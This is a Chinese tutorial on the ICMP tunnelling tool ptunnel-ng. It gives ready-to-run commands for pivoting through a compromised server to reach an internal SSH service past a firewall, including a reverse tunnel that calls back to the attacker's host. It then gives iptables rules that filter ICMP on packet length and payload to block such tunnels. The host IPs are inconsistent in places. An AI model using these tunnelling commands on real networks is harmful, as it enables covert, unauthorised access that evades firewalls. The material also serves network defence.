ptunnel-ng工具是一款的ICMP tunnel工具,它基于經典的ptunnel工具開發,在原來ptunnel的基礎上修復了一些bug并添加了一些特性。ptunnel及ptunnel-ng在Kali系統上均可通過apt源進行安裝,ptunnel-ng項目網址為
https://github.com/lnslbrty/ptunnel-ng。
什么是ICMP tunnel?
ICMP tunnel是把其它流量封裝在ICMP流量中的技術,在訪問限制比較嚴的網絡環境中,黑客可能會通過這種技術把控制流量隱藏在ICMP的ping包中,以此來繞過防火墻策略的限制。
ptunnel-ng用法
我們這里假設黑客的IP為202.198.67.67,他已經控制了目標網絡一臺內外網IP分別為
192.168.30.23/202.198.67.254的內網服務器Server1,因為防火墻的限制,Server1不能訪問外網,但在外網Hacker可以ping通過Server1的外網IP 202.198.67.254,現在黑客的需求是使用ptunnel-ng經過Server1中轉控制Server2:
Hacker:202.198.67.67-->Server1:202.198.67.254/192.168.30.22-->Server2:192.168.30.23
要使用ptunne-ng創建ICMP tunnel,黑客需要分別在本機及Server1上執行以下命令:
Hacker:ptunnel-ng -p202.198.67.254 -l2222 -r192.168.30.23 -R22,把目標網絡的192.168.30.23:22轉發到本地的2222端口:

Server1:ptunnel-ng ,在Server1上監聽ICMP流量:

完成以上兩步后,Hacker便可以在本地訪問2222端口,ICMP tunnel會自動把2222端口流量轉發到Server2的22端口:

以上是Hacker能ping通Server1時的方案,如果Hacker不能ping通Server1,而Server1又能ping通Hacker時,可以把方向調換一下,即由Server1向Hacker發起建立ICMP tunnel的請求。先把Hacker的22端口轉到Server1本地,再通過SSH的遠程端口轉發功能把Server2的22端口轉發到Hacker上:
Hacker: ptunnel-ng
ssh 127.0.0.1 -p 2222
Server1: ptunnel-ng -p202.198.67.67 -l2222 -r202.198.67.67 -R22
ssh -R 2222:192.168.30.23:22 127.0.0.1 -p 2222
如何防范ICMP tunnel
ICMP tunnel的流量特征明顯,它把非法流量隱藏在echo-request及echo-reply數據包的payload中,使數據包的內容及長度都發生改變。不同操作系統默認的paylod長度及內容都不一樣,但是都是固定的,比如windows操作系統的ping包默認pyaload長度為32,內容為“
abcdefghijklmnopqrstuvwabcdefghi”,linux系統payload默認長度為48,固定的Hex格式內容為“|
0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|”。
所以,要禁止ICMP tunnel流量,首先我們可以通過限制echo-request及echo-reply包的長度,這里把只允許長度為84(Linux)或長60(Windows)的echo-request或echo-reply進出防火墻:
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -j ACCEPT
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -j ACCEPT
iptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -j ACCEPT
iptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -j ACCEPT
iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j DROP
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j DROP
iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -j ACCEPT
iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -j ACCEPT
iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -j ACCEPT
iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -j ACCEPT
iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -j DROP
iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j DROP
更嚴格一點,我們還可以通過string模塊限制數據包的內容:
-A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -j DROP
-A INPUT -p icmp -m icmp --icmp-type 0 -j DROP
-A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 8 -j DROP
-A OUTPUT -p icmp -m icmp --icmp-type 0 -j DROP
以上就是使用iptables防范ICMP tunnel流量的方法,生產環境中的硬件防火墻不一定支持基于ICMP數據包的長度及內容進行過濾,就算支持實現方式跟iptables肯定不一樣,但思路無非是根據ICMP數據包的長度及內容來判定其是否合法,并對非法的數據包進行限制。
